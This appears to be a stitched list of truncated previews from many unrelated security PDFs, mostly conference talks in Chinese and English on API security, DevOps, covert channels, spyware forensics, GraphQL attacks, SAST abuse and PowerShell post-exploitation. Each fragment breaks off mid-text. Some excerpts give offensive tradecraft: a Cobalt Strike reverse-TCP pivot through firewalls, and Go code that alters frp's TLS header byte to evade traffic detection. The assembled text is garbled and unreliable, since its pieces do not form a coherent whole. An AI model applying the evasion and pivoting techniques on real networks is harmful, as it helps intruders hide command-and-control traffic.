随着API技术的发展和广泛使用，API安全问题越来越受到人们的
重视。本书从API安全的视角出发，介绍了API技术的发展和变化以及
不同API技术中常见的安全漏洞，探讨了如何使用自动化安全工具检测
API安全漏洞、如何使用API安全设计规避漏洞。全书从API安全漏洞基
础知识入手，逐步讲解API安全设计、API安全治理等内容，并结合头
部互联网企业的API安全案例，分析业界API安全的最佳实践，是国内
第一本讲解API安全知识和技术实战的专业书籍。
本书适合网络安全人员、软件开发人员、系统架构师以及高等院校
相关专业师生阅读学习。
图书在版编目（CIP）数据
API安全技术与实战/钱君生，杨明，韦巍编著.—北京：机械工业出版
社，2... | pdf |
如何有效突破
DevOps转型的临界点
张 乐
高效运维社区 合伙人
前百度资深敏捷/DevOps专家
自我介绍
张 乐
•
高效运维社区合伙人、DevOps时代联合创始人
•
前百度资深敏捷教练、DevOps专家
•
国内首批 Certified DevOps Master
•
DevOps Master 授权讲师，凤凰项目沙盘授权教练
•
全球TOP外企，国内一线互联网
•
百度云、百度金融等新技术产品敏捷转型主导者
•
DevOpsDays 大会、GOPS全球运维大会金牌讲师
DevOps 已成为发展趋势
IT 的技术革新
推进 DevOps 转型过程中经常遇到的问题
•
为什么需要DevOps转型？
•
如何明确阐述转型的价... | pdf |
Cisco Confidential
1
© 2009 Cisco Systems, Inc. All rights reserved.
NG Update
Copyright © 2010 Cisco Systems, Inc. All rights reserved.
Cisco Confidential
Panini
Inter-VM data exfiltration
The art of cache timing covert
channel on x86 multi-core
Etienne Martineau
Kernel Developer
August 2015
© 2009 Cisco ... | pdf |
Spyware
Spyware Forensic With
Forensic With
Reversing and Static Analysis
Reversing and Static Analysis
PK
PK
TWCERT/CC
TWCERT/CC
2
Abstract
Abstract
目前危害個人機密資料、系統安全的惡意程式，以各種方
目前危害個人機密資料、系統安全的惡意程式，以各種方
式、無孔不入的進入我們電腦，當我們上網下載程式、接
式、無孔不入的進入我們電腦，當我們上網下載程式、接
收電子郵件等，往往會遇到不知檔案是否為惡意程式，但
收電子郵件等，往往會遇到不知檔案是否為惡意程式，但
防毒軟體也未出現警告的情... | pdf |
How to overthrow a Government
Chris Rock
chris@kustodian.com
Cyber Mercenaries #2 ?
US National Intelligence
Director James Clapper says in
2016 Cyber Espionage came
second to ISIS as the biggest
world threats.
1.
ISIS
2.
Cyber Espionage
3.
North Korea
Hackers previously held the
crown in 2013, 2014 and 2015.
O... | pdf |
© 2016 Verint systems inc. All rights reserved worldwide
9
• Invisible Attacks
• VPN, AD, PtH, PtT
• Invisible Network Traffic
• Google Drive, Dropbox
• Invisible Malware
• Task schedule, Wmi , Powershell
Low visibility of Cyber Threats
© 2016 Verint systems inc. All rights reserved worldwide
10
• As seen from the scri... | pdf |
d
f h
Lord of the Bing
Taking Back Search Engine Hacking From Google and Bing
Taking Back Search Engine Hacking From Google and Bing
30 July 2010
Presented by:
Presented by:
Francis Brown and Rob Ragan
Stach & Liu, LLC
www.stachliu.com
A
d
Agenda
O V E R V I E W
• Introduction
• Advanced Attacks
• Google/Bing Hackin... | pdf |
开源生态白皮书
（2020 年）
中国信息通信研究院
2020年10月
版权声明
本白皮书版权属于中国信息通信研究院，并受法律保护。
转载、摘编或利用其它方式使用本白皮书文字或者观点的，
应注明“来源：中国信息通信研究院”。违反上述声明者，本
院将追究其相关法律责任。
前 言
近几年开源技术快速发展，在云计算、大数据、人工智能等领域
逐渐形成技术主流，开源技术已经成为企业构建信息系统的重要选择，
国内企业参与开源生态的热情度持续提升。
本白皮书是中国信息通信研究院在开源领域发布的白皮书，分析
国内外开源生态发展现状，梳理当前发展热点，展望未来发展趋势。
白皮书首先介绍了开源生态发展概况，重点围绕开源布局、开源运营、... | pdf |
§
David Mortman, Dell
§
Rob Graham, ErrataSec
§
Dave Maynor, ErrataSec
§
Chris Hoff, Juniper
§
James Arlen, Liquid Matrix
§
Larry Pesce, PaulDotCom
§
Rich Mogull, Securosis
§
Alex R. Shostack Esq, Ars Infosectica
Fail Panel Five | pdf |
攻击GraphQL
phith0n
什么是 GraphQL ?
{ REST }
进化
GraphQL
一个为API通信设计的查询语言
描述你的数据
type Project {
name: String
tagline: String
contributors: [User]
}
请求你要的数据
{
project(name: "GraphQL") {
tagline
}
}
获得可预测的结果
{
"project": {
"tagline": "A query language for APIs"
}
}
type Project {
name: String
tagline:... | pdf |
Cobalt Strike trick 3 - Pivot：Reverse TCP
当在内⽹需要建⽴起控制链时，如多层路由，下层路由机器⽆法出⽹时，常常会使⽤Beacon
Session作为跳板来做转发。
常⻅的控制⽅式有两种：Bind TCP和Bind SMB，这两种都需要⽬标机器对应端⼝开放，但
如果⽬标开启了强度较⾼的防⽕墙，或者硬件防⽕墙有策略时，可能会⽆法访问到⽬标的对
应端⼝，此时可以尝试⼀下Reverse TCP。
在已有Session选择Pivoting->Listener
即可在跳板机上建⽴⼀个监听器，本质上其实是⾃动做的端⼝转发。同样只能使⽤Stageless
类型的Artifact，可以创建⼀个Web Del... | pdf |
goby识别指纹的功能很不错，想试试能不能把goby指纹识别里面的指纹提取出来，移植到自己的扫描器
中,结果后面到了逆向虚拟机的程度。。。
goby的crules
在goby 最初的版本中，翻看了一些感兴趣的资源文件后看到有个 crules 文件。
它的文件头是yara文件
并且里面包含了它的指纹
通过文本提取，可以把规则提取出来，但是每个规则之间的逻辑关系，并不清楚。
新版的crules提取
现在goby使用了最新的go版本 1.16
在go1.16，嵌入资源有个官方实现，叫 go embed ，可以根据在二进制中搜索 embed.FS 来确认是否使
用了这个特性。
然后我自己测试了一下，看看 go embed 内嵌资源是如何实... | pdf |
Abusing
Sast Tools
@DEFCON
When scanners do more than just scanning
Who am I?
Rotem Bar
Head of Marketplace @ Cider Security
-
Bug Bounty Researcher
-
Cyber Paladin
@rotembar
Security Engineers
A person that tells others where
they have problems, and helps them
fix them.
DevOps
Engineers who are in charge
of large... | pdf |
PowerPwning: Post-Exploiting By
Overpowering PowerShell
Joe Bialek
About Me
• Joe Bialek
• Security Engineer
• Twitter: @JosephBialek
• Blog: http://clymb3r.wordpress.com
• GitHub: https://github.com/clymb3r
PowerShell is Awesome
• Provides access to the Win32 API
• Doesn’t write to disk when scripts are run on
remot... | pdf |
Trace Me If You can:
Bypassing Linux SyscallTracing
Dr. Rex Guo, Lacework
Dr. Junyuan Zeng, Linkedin.com
#BHUSA @BlackHatEvents
About Rex Guo
• Principal Engineer @ Lacework
• Behavior anomaly detection (Polygraph)
• CSPM
• Engineering Manager @ Startups
• Confluera (XDR)
• Tetration (CWPP, now part of Cisco)
• Confer... | pdf |
Technical changes
since the last Tor talk
Nick Mathewson
The Tor Project
<nickm@torproject.org>
Defcon XV
Aug 4, 2007
● Tor was working, usable, and seemed pretty
secure. (v 0.0.7.2)
● Pretty small network.
● No GUI—hard to use.
● We got a couple of Defcon talks!
Marty!
We've got to go back to the future2004!
● Hacking... | pdf |
Logic Trunked Systems
http://www.signalharbor.com/ttt/00may/index.html
1 of 5
6/18/2007 14:08
This article first appeared in the May 2000 issue of Monitoring Times.
LOGIC TRUNKED SYSTEMS
This month we continue our tour of different trunked radio systems with a look at Logic Trunked
Radio (LTR). This protocol was deve... | pdf |
The Law of Reversing
Fred von Lohmann
EFF Senior Staff Attorney
Jennifer Stisa Granick
EFF Civil Liberties Director
DEFCON 17
July 31, 2009
Topics:
1. Legal Traps for Reverse Engineers
2. Jailbreaking the iPhone
3. Online Gaming
4. Lessons and Strategies
www.eff.org
Work We Do
Coders’ Rights
DRM
Free Speech
Fair Use
Pr... | pdf |
Light & Shadow
about Net-Banking $ecurity
@ Japan
@2013 HITCON
愛奴 & 愛花 Punpun
maru
Profile
• Started lecturing and writing as a freelancer since 2000
• AVTOKYO Speaker (2010, 2011, 2012)
• Wrote “Introduction of Information Security ”
for the textbook of universities
• Regular writer for “Hacker Japan Magazine “
• Seri... | pdf |
Somerset Recon
Infecting the Embedded
Supply Chain
Zach Miller
Alex Kissinger
Somerset Recon
Introduction - Who We Are
Zach:
●
Security Researcher @ Somerset Recon
●
Reverse Engineering, Pen Testing
●
Twitter: @bit_twidd1er
Alex:
●
Barista that occasionally does security things @ Somerset Recon
●
Cappuccinos, Hardwa... | pdf |
特种木马攻击与溯源
天融信阿尔法实验室
冷风
你可以了解到：
特种木马的一些特性
1
2
攻击溯源的一些思路
目录
穿透ISA代理及硬件代理
1
2
绕过流量监控及地址检测
3
使用多协议进行内容穿透
协议加密穿透IPS/IDS
4
5
使用隧道穿透单机防火墙
对抗虚拟机检测
6
7
对抗启发式检测
8
目前杀软的软肋
我们的对手是谁
1
2
如何发现特种木马
3
基于二进制的分析
基于IP的分析
4
5
基于蜜罐的分析
6
一层VPN的溯源
2
溯源之难
怎么定义特种木马?
特种木马对网络的穿透性
穿透ISA代理及硬件代理
1
2
绕过流量监控... | pdf |
Defeating Physical Intrusion
Detection Alarm Wires
Bill Graydon
@access_ctrl
b.graydon@ggrsecurity.com
github.com/bgraydon
This is a talk about sensor communication wires.
● Alarm systems and access control first
● Defeating line supervision and end-of-line resistors
○ Surrogate Resistor
○ Voltage Regulation
● De... | pdf |
Is WebAssembly Really Safe? - Wasm VM Escape and
RCE Vulnerabilities Have Been Found in New Way
Zhao Hai(@h1zhao)
#BHUSA @BlackHatEvents
#BHUSA @BlackHatEvents
Information Classification: General
About US
TianYu Lab of Cyberpeace Tech Co., Ltd.
天虞实验室
TianYu Lab
Lei Li
Supervisor
Mengchen Yu
Manager
Zhichen Wang
Re... | pdf |
Bio
SecurityResearcher/Tester(HarrisCorp)
FormerArmyRedTeamOperator
OneofthedevelopersofPowerSploit
Twitter:@obscuresec
Blog:www.obscuresec.com
Sayhellotokrbtgt
He’sbeenheresincethebeginning
TheEarlyYears:20012004
GrowingPains:20052008
MaturityRealized:20092012
MemeCount:1
SkeletonsintheCloset:20132014
MemeCount:2... | pdf |
1
frp改造S-流量特征
使⽤tls_enable加密后，⾸次连接会⼀个0x17的头部。
pkg/util/net/tls.go，frp⾃实现tls，所以存在很强的特征
特征1
2
这个0x17只有再发起连接时会有，后续均为tls加密传输，所以我们需要修改此处就够了
第⼀步：修改byte内容，然后新增⼀个以该byte开头，后续内容随机的字节切⽚。
pkg/util/net/tls.go
Go
复制代码
var (
FRPTLSHeadByte = byte(0x91)
FRPTLSHeadBytes = bytes.Join([][]byte{[]byte{FRPTLSHeadByte},
rand... | pdf |
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